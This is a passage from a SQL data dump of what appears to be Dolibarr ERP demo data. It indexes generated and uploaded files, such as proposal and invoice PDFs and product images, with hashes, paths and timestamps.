14:54:30',12,NULL,NULL,NULL,NULL,1,NULL,'propal',10),(24,'0d4e663b5c128d288a39231433da966e','3d2bd3daecd0de5078774ad58546d1f4',NULL,1,'PR1909-0032-dolibarr_192x192.png','propale/PR1909-0032','dolibarr_192x192.png','',NULL,NULL,'uploaded',NULL,'2019-09-27 17:08:42','2019-09-27 15:08:59',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(25,'44867f8c62f8538da7724c148af2c227','f4208dc9a3dc83f668ea415244016c00',NULL,1,'PR1909-0032.pdf','propale/PR1909-0032','','',NULL,NULL,'generated',NULL,'2019-09-27 17:08:59','2020-01-15 18:37:15',12,12,NULL,NULL,NULL,2,NULL,'propal',33),(26,'3983de91943fb14f8b137d1929bea5a9','730822c8124123c9c7dcf0d55234e1c6',NULL,1,'PR1909-0033.pdf','propale/PR1909-0033','','',NULL,NULL,'generated',NULL,'2019-09-27 17:11:21','2020-01-18 18:32:33',12,12,NULL,NULL,NULL,1,NULL,'propal',34),(27,'399734120da8f3027508e0772c25e291','83c8e9b3b692ebae2f6f3e298dd9f5a2',NULL,1,'PR1909-0033-dolibarr_120x90.png','propale/PR1909-0033','dolibarr_120x90.png','',NULL,NULL,'uploaded',NULL,'2019-09-27 17:13:07','2019-09-27 15:13:13',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(28,'c81de886c76ccd2d46fbc5f816047a71','e063b649494c9ededb5710207b8cdb41','kr8LmXlZVAW9Sl0iZ0w8re6Jd23S3X1k',1,'(PROV35).pdf','propale/(PROV35)','','',NULL,NULL,'generated',NULL,'2019-09-27 17:53:44','2020-01-01 19:54:50',12,12,NULL,NULL,NULL,1,NULL,'propal',35),(29,'34fe1f2546e8d1562b904b7bbe79e01a','6e1acd02fdd344b18e38c0cba729f552',NULL,1,'(PROV6).pdf','commande/(PROV6)','','',NULL,NULL,'generated',NULL,'2019-09-27 18:04:35','2019-09-27 16:04:52',12,12,NULL,NULL,NULL,1,NULL,'commande',6),(30,'fd2ad5abe709d7870bcd57743d9a1176','b0ae7dd69244e0c0a9d4c5e6d08bffcb',NULL,1,'(PROV93).pdf','commande/(PROV93)','','',NULL,NULL,'generated',NULL,'2019-09-27 19:33:29','2019-09-27 17:40:49',12,12,NULL,NULL,NULL,1,NULL,'commande',93),(31,'988caa795b4080019180253aac14d729','95b9adcf40828c7e0a164d31e1c84b5c',NULL,1,'(PROV4).pdf','fournisseur/commande/(PROV4)','','',NULL,NULL,'generated',NULL,'2019-09-27 19:46:07','2020-01-20 11:19:49',12,12,NULL,NULL,NULL,1,NULL,'commande_fournisseur',4),(32,'a046e42fcd8d114312eede243fd1850c','467e542bb565cb9379722c6fdcecc3aa',NULL,1,'PR1702-0020.pdf','propale/PR1702-0020','','',NULL,NULL,'generated',NULL,'2019-09-27 19:47:00','2019-09-27 17:47:00',12,NULL,NULL,NULL,NULL,1,NULL,'propal',22),(33,'dc99eacf03a78050da53a2601d0f4b49','88c047d94ab183b015526f936a5c8923',NULL,1,'SI1601-0002.pdf','fournisseur/facture/7/1/SI1601-0002','','',NULL,NULL,'generated',NULL,'2019-10-04 10:10:25','2019-10-04 08:31:30',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',17),(34,'4ab84fd3e4079aeea831d65dfc2f6891','681578085f18bacd6d40341ef236c0d6',NULL,1,'FA6801-0010.pdf','facture/FA6801-0010','','',NULL,NULL,'generated',NULL,'2019-10-04 10:26:49','2019-10-04 08:28:14',12,12,NULL,NULL,NULL,1,NULL,'facture',150),(38,'b18da4bbfaf907c1f6706b46ae3add3c','0792f280fd9a114fbd432d5442f7445b',NULL,1,'dolibarr_256x256.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_256x256.png','',NULL,NULL,'unknown',NULL,'2019-10-04 17:25:05','2019-10-04 15:25:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(40,'7205fe0a03a5bd79c7d60a0d05f06e25','df4db8f9cc75b79765e7ca11013fa0bc',NULL,1,'dolibarr_512x512.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_512x512.png','',NULL,NULL,'unknown',NULL,'2019-10-04 17:53:13','2019-10-04 16:47:55',12,12,NULL,NULL,NULL,3,NULL,NULL,NULL),(44,'53f92236476224c177f23ab30e6553aa','3d14c3c12c58dfe06ef3020e712b2b06',NULL,1,'dolibarr_screenshot1_300x188.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_screenshot1_300x188.png','',NULL,NULL,'unknown',NULL,'2019-10-04 18:49:30','2019-10-04 16:49:30',12,NULL,NULL,NULL,NULL,4,NULL,NULL,NULL),(45,'b33ed6e73b386cac4aab51eb62f3af50','1e71c3a5d4c8247935f89971dab4d9cd',NULL,1,'dolibarr_logo.jpg','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_logo.jpg','',NULL,NULL,'unknown',NULL,'2019-10-04 19:00:22','2019-10-04 17:00:22',12,NULL,NULL,NULL,NULL,5,NULL,NULL,NULL),(46,'4573b5a5d66e4598bc98075b33d2470f','3d14c3c12c58dfe06ef3020e712b2b06',NULL,1,'dolibarr_screenshot1_300x188.png.20191004190108','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_screenshot1_300x188.png','',NULL,NULL,'unknown',NULL,'2019-10-04 19:01:08','2019-10-04 17:01:08',12,NULL,NULL,NULL,NULL,6,NULL,NULL,NULL),(47,'a9be21b2a984fd57d2ff450bcfb59ef5','1e71c3a5d4c8247935f89971dab4d9cd',NULL,1,'dolibarr_logo.jpg.20191004193013','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_logo.jpg','',NULL,NULL,'unknown',NULL,'2019-10-04 19:30:13','2019-10-04 17:30:13',12,NULL,NULL,NULL,NULL,7,NULL,NULL,NULL),(48,'f598ad9040ed50087ae163d9bef3eb7c','fe0b95bda4dc7823739eadedfab7e823',NULL,1,'dolibarr_screenshot9_1680x1050.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_screenshot9_1680x1050.png','',NULL,NULL,'unknown',NULL,'2019-10-04 19:32:55','2019-10-04 17:32:55',12,NULL,NULL,NULL,NULL,8,NULL,NULL,NULL),(49,'95d0d57347686999f3609897cae8ec22','d32552ee874c82b9f0ccab4f309b4b61',NULL,1,'dolihelp.ico','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/0/temp/dolihelp.ico','',NULL,NULL,'unknown',NULL,'2019-10-04 19:37:16','2019-10-04 17:37:16',0,NULL,NULL,NULL,NULL,9,NULL,NULL,NULL),(50,'1a30c5a296fa61f1d76b4f3c27a15701','8ea43be5bd1fb83a287a95cea7688cc4',NULL,1,'dolibarr.gif','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr.gif','',NULL,NULL,'unknown',NULL,'2019-10-04 19:39:07','2019-10-04 17:39:07',12,NULL,NULL,NULL,NULL,10,NULL,NULL,NULL),(51,'3ad99f8446832892a610dbadcbd255f0','3dea7d1b511d19f8bd3252683423958a',NULL,1,'doliadmin.ico','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/doliadmin.ico','',NULL,NULL,'unknown',NULL,'2019-10-04 19:39:07','2019-10-04 17:39:07',12,NULL,NULL,NULL,NULL,11,NULL,NULL,NULL),(52,'4d147b3a8443635ff19fde49438394d0','ee8eab1acbf409681bcd13b6b210b8a1',NULL,1,'SI1911-0005.pdf','fournisseur/facture/1/2/SI1911-0005','','',NULL,NULL,'generated',NULL,'2019-11-28 15:54:30','2019-11-28 11:54:47',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',21),(53,'9324bc1030b77ebaef372d0ae40eb62e','db17ee9f430030fb21a6683d433c7457',NULL,1,'FR-CAR-Carrot.jpg','produit/FR-CAR','Carrot.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:33:50','2019-11-28 15:33:50',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(54,'b1fe7acb0dd8591b04b49ef1cd1743aa','db17ee9f430030fb21a6683d433c7457',NULL,1,'FR-CAR-Carrot.jpg','produit/POS-CAR','/home/ldestailleur/git/dolibarr_11.0/documents/produit/POS-CAR/FR-CAR-Carrot.jpg','',NULL,NULL,'unknown',NULL,'2019-11-28 16:36:56','2019-11-28 15:36:56',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(55,'aba4d9af9dd0b200f44186f2db38b8f0','173299315f304f28081abca75e6ed635',NULL,1,'POS-APPLE-Apple.jpg','produit/POS-APPLE','Apple.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:37:46','2019-11-28 15:37:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(56,'0a07968edb04e24e4caa7945f9308b5b','f25692272dc2e691d90e785660251dea',NULL,1,'POS-KIWI-Kiwi.jpg','produit/POS-KIWI','Kiwi.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:38:58','2019-11-28 15:38:58',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(57,'da49d3ab86b6cb4f8269a3c1106de5bc','46026e1212b5e256a621559db254ce74',NULL,1,'POS-PEACH-Peach.jpg','produit/POS-PEACH','Peach.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:39:29','2019-11-28 15:39:29',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(58,'e60f830c84b2808bf05d9751c6f3068c','c6fd1ef0add23afe632d043a9a9174e9',NULL,1,'POS-ORANGE-Orange.jpg','produit/POS-ORANGE','Orange.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:40:06','2019-11-28 15:40:06',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(59,'b75a9affa8454aa109032ef11578ff55','8245ba8e8e345655f06cd904d7d54f73',NULL,1,'compxp4548product.jpg','produit/COMP-XP4548','compxp4523product.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:41:23','2019-11-28 12:47:57',12,12,NULL,NULL,NULL,1,NULL,NULL,NULL),(61,'fb93ad6fc19a4b6cb10ea753706d2f82','2adadd910fe97a07bd5be0f1f27f2d28',NULL,1,'DOLIDROID-dolidroid_114x114.png','produit/DOLIDROID','dolidroid_114x114.png','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:49:27','2019-11-28 15:49:27',12,NULL,NULL,NULL,NULL,4,NULL,NULL,NULL),(64,'90bf4a06479f20d6642d398b60e30d76','1cff6b63ce7bdcd6607f9ccbca942810',NULL,1,'DOLIDROID-dolidroid_180x120_en.png','produit/DOLIDROID','dolidroid_180x120_en.png','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:50:33','2019-11-28 15:50:33',12,NULL,NULL,NULL,NULL,5,NULL,NULL,NULL),(65,'7516f3382f24055570c580f3f7a3ca6e','df61e1aca1992b564dc6d80cd6c6ae0b',NULL,1,'DOLIDROID-dolidroid_screenshot_stats_720x1280.png','produit/DOLIDROID','dolidroid_screenshot_stats_720x1280.png','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:51:58','2019-11-28 15:51:58',12,NULL,NULL,NULL,NULL,6,NULL,NULL,NULL),(66,'61ec0d999c2460e0a942be9760b7c1fb','8ef12c42fbada32094a633a60f5c84a7',NULL,1,'POS-Eggs-Eggs.jpg','produit/POS-Eggs','Eggs.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 17:04:06','2019-11-28 16:04:06',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(67,'abe8d329cfb52c1ba59867dfb2468047','8a0380cc9887f325e220c0f7503835c7',NULL,1,'POS-Chips-Chips.jpg','produit/POS-Chips','Chips.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 17:09:19','2019-11-28 16:09:19',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(71,'1008ec7576e1b970f952044d10245f72','653abb50f7c2cc410dac1fd913ad8769',NULL,1,'BOM1911-0001_bom.odt','bom/BOM1911-0001','','',NULL,NULL,'generated',NULL,'2019-11-28 18:20:01','2020-01-08 15:41:49',12,12,NULL,NULL,NULL,1,NULL,'bom_bom',6),(72,'a0942ded45efc068ca59dd3360cbb0e2','db17ee9f430030fb21a6683d433c7457',NULL,1,'FR-CAR-Carrot.jpg','produit/POS-CARROT','/home/ldestailleur/git/dolibarr_11.0/documents/produit/POS-CARROT/FR-CAR-Carrot.jpg','',NULL,NULL,'unknown',NULL,'2019-11-28 19:02:01','2019-11-28 18:02:01',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(73,'c928f00b0bc1a40061408e63a9c204ee','0221dc3c79e0123b451b5630bf2177b0',NULL,1,'ER1912-0001-IMG_20191219_161331.jpg','expensereport/ER1912-0001','IMG_20191219_161331.jpg','',NULL,NULL,'uploaded',NULL,'2019-12-20 20:04:42','2019-12-20 16:34:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(74,'4d710f4f262d3caca82b2c7380e0addc','4ff0ba258dc0f8d3b78d919557ee7996',NULL,1,'ER1912-0001.pdf','expensereport/ER1912-0001','','',NULL,NULL,'generated',NULL,'2019-12-20 20:04:46','2019-12-20 16:34:26',12,12,NULL,NULL,NULL,2,NULL,'expensereport',2),(75,'bcb6930c79f5a3f55f9327561a07daa1','0e81807ac4e0380ddd3d841a20f339c2',NULL,1,'CO7001-0027.pdf','commande/CO7001-0027','','',NULL,NULL,'generated',NULL,'2019-12-20 20:42:23','2020-01-15 18:41:17',12,12,NULL,NULL,NULL,2,NULL,'commande',88),(76,'eabd0e0a63029bf40288c3394dcb984c','96cd89d2ba43d4f9f0f19b49a6d3754a','1Hlh7n01E5KY5i9rtvhiq1TYL16JMToN',1,'PR1702-0027.pdf','propale/PR1702-0027','','',NULL,NULL,'generated',NULL,'2019-12-20 20:49:43','2019-12-20 16:50:23',12,12,NULL,NULL,NULL,1,NULL,'propal',29),(77,'69b67f70d71893409d37bbab8af92b70','f8c94ef0d5146049288aa8042ce63892',NULL,1,'FS1301-0001.pdf','facture/FS1301-0001','','',NULL,NULL,'generated',NULL,'2019-12-21 19:40:22','2019-12-21 18:40:22',12,NULL,NULL,NULL,NULL,1,NULL,'facture',148),(78,'d5a97833baecb8e92c859c755ece9666','e511f26c4964058a24535f8db8324f89',NULL,1,'thirdparty.ods','societe/10','','',NULL,NULL,'generated',NULL,'2019-12-21 20:32:17','2019-12-21 19:32:17',12,NULL,NULL,NULL,NULL,1,NULL,'societe',10),(81,'87209bfcfd010c1b6ef3c7fec33d5249','a40fb5e1465053cff2bbcaafc25818c5',NULL,1,'SI2001-0006.pdf','fournisseur/facture/2/2/SI2001-0006','','',NULL,NULL,'generated',NULL,'2020-01-01 17:48:01','2020-01-16 17:09:02',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',22),(82,'1dabc11d324fded7042876ef648c2fde','e272a4e34acef46c0d7c21dd0100e0d1',NULL,1,'SA2001-0001.pdf','fournisseur/facture/3/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 17:49:33','2020-01-01 13:50:41',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',23),(83,'78b31a74494c6e3fb731c291167e5fac','7664e71072c8b51613f12429e5b10b71',NULL,1,'(PROV3).pdf','fournisseur/commande/(PROV3)','','',NULL,NULL,'generated',NULL,'2020-01-01 20:11:15','2020-01-20 11:22:53',12,12,NULL,NULL,NULL,1,NULL,'commande_fournisseur',3),(84,'dae316f89653eb19b2784c4fb41c9488','3ab1a48c8fcf3c9480243949f4ef685f',NULL,1,'SA2001-0001.pdf','fournisseur/facture/4/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 20:17:15','2020-01-01 16:17:46',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',24),(85,'d0f2428e33e2b6244ac4b72fab4f0f14','45ad94c796cf1918e8888bb906cfea30',NULL,1,'(PROV25).pdf','fournisseur/facture/5/2/(PROV25)','','',NULL,NULL,'generated',NULL,'2020-01-01 20:19:51','2020-01-01 19:19:51',12,NULL,NULL,NULL,NULL,1,NULL,'facture_fourn',25),(86,'bb7830bd179da2e9f9ef3579ea2f8208','cd5145fa64d57ee69a572f9cbc67b15c',NULL,1,'SA2001-0001.pdf','fournisseur/facture/6/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 20:20:13','2020-01-01 16:20:22',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',26),(87,'66cbad4f05ade84391d4ea3c502fb7a3','872e8072820f9b3014e8250ee7b00f86',NULL,1,'SA2001-0001.pdf','fournisseur/facture/7/2/SA2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-01 20:21:51','2020-01-15 18:23:28',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',27),(88,'78dedfa0065ebb065040515c8a4fe0f4','116c1b16fb98a36f5a429ebe674a5036',NULL,1,'SI2001-0007.pdf','fournisseur/facture/8/2/SI2001-0007','','',NULL,NULL,'generated',NULL,'2020-01-01 20:22:48','2020-01-01 17:20:36',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',28),(89,'2650611699dbc2cb0d6db2c93cb8ff9d','e6f96dca09e39bfeb3003e38eecd4b84',NULL,1,'(PROV29).pdf','fournisseur/facture/9/2/(PROV29)','','',NULL,NULL,'generated',NULL,'2020-01-01 20:50:57','2020-01-01 19:50:57',12,NULL,NULL,NULL,NULL,1,NULL,'facture_fourn',29),(90,'d3d6a55beba28be5ce57e806ad037a70','9f3a682f921c24d07722d259574488ed',NULL,1,'SA2001-0002.pdf','fournisseur/facture/0/3/SA2001-0002','','',NULL,NULL,'generated',NULL,'2020-01-01 20:51:32','2020-01-01 16:51:37',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',30),(91,'4d9767cf70227675ca1e51996970cca4','707f6a5be123159b4ba3ac5bbc55e12f',NULL,1,'PR2001-0034.pdf','propale/PR2001-0034','','',NULL,NULL,'generated',NULL,'2020-01-01 23:55:35','2020-01-19 13:24:27',12,12,NULL,NULL,NULL,1,NULL,'propal',36),(92,'c3a7802251274920507482a72761c511','be7b12881c652a68f0256e00e22acfc9',NULL,1,'(PROV37).pdf','propale/(PROV37)','','',NULL,NULL,'generated',NULL,'2020-01-06 00:44:16','2020-01-05 20:46:07',12,12,NULL,NULL,NULL,1,NULL,'propal',37),(93,'43e9e215d44cbe8854dc64bfe01a7c1a','218b07855dea60994770bf4608757452',NULL,1,'SI1601-0004.pdf','fournisseur/facture/9/1/SI1601-0004','','',NULL,NULL,'generated',NULL,'2020-01-06 00:48:42','2020-01-05 23:48:42',12,NULL,NULL,NULL,NULL,1,NULL,'facture_fourn',19),(94,'29441461d34abe37158ca6bb35938a3a','6b805071f64924fa1309d51fef1ea839',NULL,1,'courrier_consult.odt','societe/29','','',NULL,NULL,'generated',NULL,'2020-01-06 21:23:24','2020-01-06 17:46:52',12,12,NULL,NULL,NULL,1,NULL,'societe',29),(95,'e5b8ef885741a002f6129051b85e5e09','6603225670e52fcb3a5e2f25de806668',NULL,1,'(PROV38).pdf','propale/(PROV38)','','',NULL,NULL,'generated',NULL,'2020-01-13 17:25:28','2020-01-13 16:25:28',12,NULL,NULL,NULL,NULL,1,NULL,'propal',38),(96,'94c2a18a5f7bd023b512e46a1cc1e5c8','1d9edda94d935fe9d75d5478df4f89ac',NULL,1,'(PROV2).pdf','supplier_proposal/(PROV2)','','',NULL,NULL,'generated',NULL,'2020-01-15 22:48:12','2020-01-20 11:19:25',12,12,NULL,NULL,NULL,1,NULL,'supplier_proposal',2),(97,'72e38084f638adb55e3e621dd3f42ab5','d278e84671f7dc4acc4882f047334846',NULL,1,'AC2001-0001.pdf','facture/AC2001-0001','','',NULL,NULL,'generated',NULL,'2020-01-16 02:22:16','2020-01-16 01:23:11',12,12,NULL,NULL,NULL,1,NULL,'facture',221),(98,'d9ceb752bbb85ea0fb29c8cb27d22e1e','0719ac0dccd4a4e1b8fbdc3a8e9fa7c1',NULL,1,'AC2001-0002.pdf','facture/AC2001-0002','','',NULL,NULL,'generated',NULL,'2020-01-16 02:33:27','2020-01-16 01:36:48',12,12,NULL,NULL,NULL,1,NULL,'facture',224),(99,'33d354694658b4697adcd9a50a292113','8abae3ad7ad4a33ad42ab166ddaee54c',NULL,1,'(PROV225).pdf','facture/(PROV225)','','',NULL,NULL,'generated',NULL,'2020-01-16 02:37:55','2020-01-16 01:37:55',12,NULL,NULL,NULL,NULL,1,NULL,'facture',225),(100,'f4fbae718d9c9bc535d56a6638c1cdc2','df8714b30c43b5766ebb8cf64ef85e16',NULL,1,'(PROV226).pdf','facture/(PROV226)','','',NULL,NULL,'generated',NULL,'2020-01-19 14:21:03','2020-01-19 13:21:21',12,12,NULL,NULL,NULL,1,NULL,'facture',226),(101,'b51a925a795e1652820d987266a31658','30a1d7094b174bbc67824a65cbec5db3',NULL,1,'AC2001-0003.pdf','facture/AC2001-0003','','',NULL,NULL,'generated',NULL,'2020-01-19 14:23:39','2020-01-19 13:51:48',12,12,NULL,NULL,NULL,1,NULL,'facture',227),(102,'1b7f8c128060879ec7f78712fa36ecd0','8df02e7604f77bb8dd6cc1ec7d1d3c90',NULL,1,'AC2001-0004.pdf','facture/AC2001-0004','','',NULL,NULL,'generated',NULL,'2020-01-19 14:49:58','2020-01-19 14:13:07',12,12,NULL,NULL,NULL,1,NULL,'facture',228),(103,'ee00344302cff6530168fb9e08083780','230789608ee4a42a05037f934e706fa5',NULL,1,'(PROV217).pdf','facture/(PROV217)','','',NULL,NULL,'generated',NULL,'2020-01-19 14:53:10','2020-01-20 11:25:41',12,12,NULL,NULL,NULL,1,NULL,'facture',217),(104,'faf6da4cf7cf49275da5786e36b3173c','50acdf0099c27348ede81656e5b3ddf2',NULL,1,'(PROV3).pdf','supplier_proposal/(PROV3)','','',NULL,NULL,'generated',NULL,'2020-01-20 12:06:40','2020-01-20 11:19:06',12,12,NULL,NULL,NULL,1,NULL,'supplier_proposal',3),(105,'d82c57a3335bafcc3fb2b35d9573fe47','73d983b4f3018249d27f391bb33ff8f0',NULL,1,'(PROV14).pdf','fournisseur/commande/(PROV14)','','',NULL,NULL,'generated',NULL,'2020-01-20 12:20:17','2020-01-20 11:20:17',12,NULL,NULL,NULL,NULL,1,NULL,'commande_fournisseur',14),(106,'fbcfde0bfdb8e7184f5e1a72527bc53a','5300dd748dffeb292c4a4fe32f9c2ab6',NULL,1,'(PROV4).pdf','supplier_proposal/(PROV4)','','',NULL,NULL,'generated',NULL,'2020-01-20 12:23:22','2020-01-20 11:24:00',12,12,NULL,NULL,NULL,1,NULL,'supplier_proposal',4),(109,'e409be44e925329a41079f1ddacaa8f1','801b126a0db67b4ff32f36641f3b63b0',NULL,1,'FA1707-0026.pdf','facture/FA1707-0026','','',NULL,NULL,'generated',NULL,'2020-01-21 10:23:17','2020-01-21 09:23:17',12,12,NULL,NULL,NULL,1,NULL,'facture',229),(110,'36411c7ab830732de1d07fe824ec9e20','63ba10b5868d702a3d09da900efb0df2',NULL,1,'FA1807-0027.pdf','facture/FA1807-0027','','',NULL,NULL,'generated',NULL,'2020-01-21 10:23:28','2020-01-21 09:23:28',12,12,NULL,NULL,NULL,1,NULL,'facture',230),(111,'bfc5abd0ab78849b7e98839d27175fb4','d03351be391a0491047797e13b39e432',NULL,1,'FA1907-0028.pdf','facture/FA1907-0028','','',NULL,NULL,'generated',NULL,'2020-01-21 10:23:49','2020-01-21 09:23:49',12,12,NULL,NULL,NULL,1,NULL,'facture',231),(112,'4615aa05f2a0e8cf79ea3cb9c91e6434','6aec33a4925b66eaba4902eef6f95507',NULL,1,'APPLEPIE-home-bg.jpg','produit/APPLEPIE','/home/ldestailleur/git/dolibarr_14.0/documents/produit/APPLEPIE/APPLEPIE-home-bg.jpg','',NULL,NULL,'unknown',NULL,'2021-04-15 07:37:21','2021-04-15 05:37:21',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(113,'98147caa708e17b81d851255d78136fe','cad7a8c5fb4a6e58cb8fe31d0741efcb',NULL,1,'BOM2202-0002_bom.odt','bom/BOM2202-0002','','','',NULL,'generated',NULL,'2022-02-07 13:54:12','2022-02-07 12:54:12',12,NULL,NULL,NULL,NULL,1,NULL,'bom_bom',7),(114,'b60ce46c6df53d0d2be6b634fd59a0e2','2da69994036589fb6ed5d6447c706f1e',NULL,1,'(PROV2).pdf','expensereport/(PROV2)','/home/ldestailleur/git/dolibarr_15.0/documents/expensereport/(PROV2)/(PROV2).pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:42','2022-02-07 13:27:42',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(115,'720ab60eb30a6bcdc2fde9966bd4d507','4a896290245451eb0aeefca964da0a4c',NULL,1,'ADMIN-ER00001-150101.pdf','expensereport/ADMIN-ER00001-150101','/home/ldestailleur/git/dolibarr_15.0/documents/expensereport/ADMIN-ER00001-150101/ADMIN-ER00001-150101.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:42','2022-02-07 13:27:42',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(116,'9c3cf03e9110bea5773a9a930fabd140','a6b341e26d6a3a845fd076ffb59f67ac',NULL,1,'ADMIN-ER00002-150101.pdf','expensereport/ADMIN-ER00002-150101','/home/ldestailleur/git/dolibarr_15.0/documents/expensereport/ADMIN-ER00002-150101/ADMIN-ER00002-150101.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:42','2022-02-07 13:27:42',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(117,'d4578ab53f6062a3b9e1b639ac263cb2','dcc82dc04e009b3f802b45e89e6a8005',NULL,1,'AV1212-0001.pdf','facture/AV1212-0001','/home/ldestailleur/git/dolibarr_15.0/documents/facture/AV1212-0001/AV1212-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(118,'6979efa40f8cd6b7e6190e65a74a1871','2e348700e6ffe06940e5b4664f1e4c00',NULL,1,'AV1212-0002.pdf','facture/AV1212-0002','/home/ldestailleur/git/dolibarr_15.0/documents/facture/AV1212-0002/AV1212-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(119,'8a25b6f715af52a124e607a9fb8cf44d','24eaab70810d4dd5a408e8dea2421845',NULL,1,'AV1303-0003.pdf','facture/AV1303-0003','/home/ldestailleur/git/dolibarr_15.0/documents/facture/AV1303-0003/AV1303-0003.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(120,'4cc45b89255c7c9c5fac40ad5d00e117','32c3c469f61df969d34b1844168a500f',NULL,1,'FA1007-0002.pdf','facture/FA1007-0002','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1007-0002/FA1007-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(121,'0fb69e8b0122c99e8a6621c3725c0c99','20d63c662089ba079458f5b5823941ea',NULL,1,'FA1107-0006.pdf','facture/FA1107-0006','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1107-0006/FA1107-0006.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(122,'9fce585dc7f4ff978f3ea0a661bf236f','7b6d2d3e08e27f88065147a8489bcdad',NULL,1,'FA1108-0003.pdf','facture/FA1108-0003','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0003/FA1108-0003.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(123,'37f49ada746d85306d3caf00db00dc31','9ec04bd1d260b2f5b834be1ed19270b2',NULL,1,'FA1108-0004.pdf','facture/FA1108-0004','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0004/FA1108-0004.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(124,'d4a0bbcb3766d837ed6dbc78a14af28d','dfcb5cae33b8f169ff605b7b5772b4b5',NULL,1,'FA1108-0005.pdf','facture/FA1108-0005','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0005/FA1108-0005.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(125,'ff2407993881ea0529178311eff5b802','76d07fe1d122421c440f9e14cf9c7f86',NULL,1,'FA1108-0007.pdf','facture/FA1108-0007','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1108-0007/FA1108-0007.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(126,'9245fd14ecc9e3dd6920e65fb84ec932','3ec8dd059a2de25f93b367a7b5abc7f6',NULL,1,'FA1212-0009.pdf','facture/FA1212-0009','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0009/FA1212-0009.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 